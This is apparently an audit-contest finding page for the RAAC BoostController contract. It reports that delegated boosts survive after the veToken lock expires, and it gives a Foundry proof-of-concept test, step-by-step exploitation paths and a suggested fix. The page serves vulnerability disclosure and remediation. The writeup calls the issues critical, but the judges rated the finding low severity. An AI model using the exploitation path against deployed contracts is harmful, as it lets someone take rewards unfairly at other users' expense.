Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: low
Valid

Delegated boosts remain active after the underlying veToken lock expires & obtain boosts in BoostController.sol

Summary


Two critical vulnerabilities exists in the BoostController's delegation function:

  • Delegated boosts remain active after the underlying veToken lock expires

  • Receivers can continue using expired delegations to obtain boosts

Both vulnerabilities stem from insufficient validation in the delegateBoost() function and related delegation checks.

The function fails to calculate the remaining time of a particular boost after being delegated.

Vulnerability Details

Root Cause Analysis

1. Lock Expiry Not Validated: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/boost/BoostController.sol#L212

function delegateBoost(address to, uint256 amount, uint256 duration) external {
// Only checks current balance
uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
if (userBalance < amount) revert InsufficientVeBalance();
// No validation of lock expiry time
delegation.expiry = block.timestamp + duration;
}
  • Only validates current veToken balance

  • Doesn't check delegator's lock expiry

  • No link between delegation expiry and lock expiry

  • No ongoing validation of lock status

. 2. Expired Delegation Usage:

// In updateUserBoost():
// Missing validation of:
// 1. Delegation expiry
// 2. Underlying lock validity
// 3. Continuous balance checks

Proof of code:

Add this code to your test file and run it:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {BoostController} from "../../../../../contracts/core/governance/boost/BoostController.sol";
import {veRAACToken} from "../../../../../contracts/core/tokens/veRAACToken.sol";
import {RAACToken} from "../../../../../contracts/core/tokens/RAACToken.sol";
contract BoostControllerDelegationTest is Test {
BoostController public boostController;
veRAACToken public veToken;
RAACToken public raacToken;
address public delegator = address(0x1);
address public receiver = address(0x2);
address public pool = address(0x3);
address public owner = address(this);
function setUp() public {
// Deploy contracts
raacToken = new RAACToken(owner, 100, 50);
veToken = new veRAACToken(address(raacToken));
boostController = new BoostController(address(veToken));
// Setup permissions
boostController.modifySupportedPool(pool, true);
raacToken.setMinter(owner);
// Mint and setup delegator
raacToken.mint(delegator, 1000e18);
raacToken.manageWhitelist(delegator, true);
raacToken.manageWhitelist(address(veToken), true);
vm.startPrank(delegator);
raacToken.approve(address(veToken), type(uint256).max);
veToken.lock(1000e18, 365 days); // Lock for 1 year
vm.stopPrank();
}
function testDelegateBoostVulnerabilities() public {
uint256 veTokenBalance = veToken.balanceOf(delegator);
// 1. Initial delegation
vm.startPrank(delegator);
boostController.delegateBoost(receiver, veTokenBalance/2, 30 days);
vm.stopPrank();
// Get initial boost state
(uint256 initialAmount, uint256 initialExpiry,,) = boostController.getUserBoost(delegator, receiver);
console.log("Initial delegation amount:", initialAmount);
console.log("Initial expiry:", initialExpiry);
// 2. Move past lock expiry (365 days + 1)
vm.warp(block.timestamp + 366 days);
// Check delegation is still active despite expired lock
(uint256 amount, uint256 expiry,,) = boostController.getUserBoost(delegator, receiver);
console.log("\nAfter lock expiry:");
console.log("Delegation amount:", amount);
console.log("Delegation expiry:", expiry);
console.log("Current time:", block.timestamp);
// Verify delegation is still active when it shouldn't be
assertGt(amount, 0, "Delegation should be invalid after lock expires but isn't");
assertLt(expiry, block.timestamp, "Delegation should be expired");
// 3. Receiver can still use expired delegation
vm.prank(receiver);
boostController.updateUserBoost(receiver, pool);
(uint256 receiverBoost,,,) = boostController.getUserBoost(receiver, pool);
console.log("\nReceiver boost after lock expiry:", receiverBoost);
// The vulnerability: Receiver gets boost from expired delegation
assertGt(receiverBoost, 0, "Receiver shouldn't get boost from expired lock but does");
}
}

Impact

1. Lock Expiry Bypass

  • Delegations continue after lock expiry

  • Undermines the entire veToken locking mechanism

  • Allows unauthorized boost allocation

  • Could lead to infinite delegation periods

Exploitation Path:

1. User locks tokens for 365 days
2. Delegates boost for 30 days
3. Lock expires after 365 days
4. Delegation remains active
5. Delegate maintains boost power without active lock

. 2. Expired Delegation Usage:

Receivers maintain boost power indefinitely

Exploitation Path:

1. Receiver gets delegation for 30 days
2. After 30 days (expiry) or 365 days (lock expiry)
3. Can still call updateUserBoost()
4. Continues receiving boost benefits
5. Original delegator loses control

My POC shows the complete exploitation path:

  • Initial setup with valid lock and delegation

  • Time manipulation to demonstrate expiry

  • Proof that delegation remains active

  • Proof that receiver can still use the expired delegation

Tools Used

Recommendations

Implement Lock Expiry Validation.

function delegateBoost(address to, uint256 amount, uint256 duration) external {
// Get lock expiry
uint256 lockExpiry = veToken.getLockExpiry(msg.sender);
// Ensure delegation doesn't exceed lock
+ require(block.timestamp + duration <= lockExpiry, "Delegation exceeds lock");
// Existing checks...
uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
require(userBalance >= amount, "Insufficient balance");
// Store lock expiry with delegation
+ delegation.lockExpiry = lockExpiry;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController maintains stale boost values when veRAACToken locks expire during protocol pauses, temporarily allowing higher-than-deserved rewards until values are manually updated

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!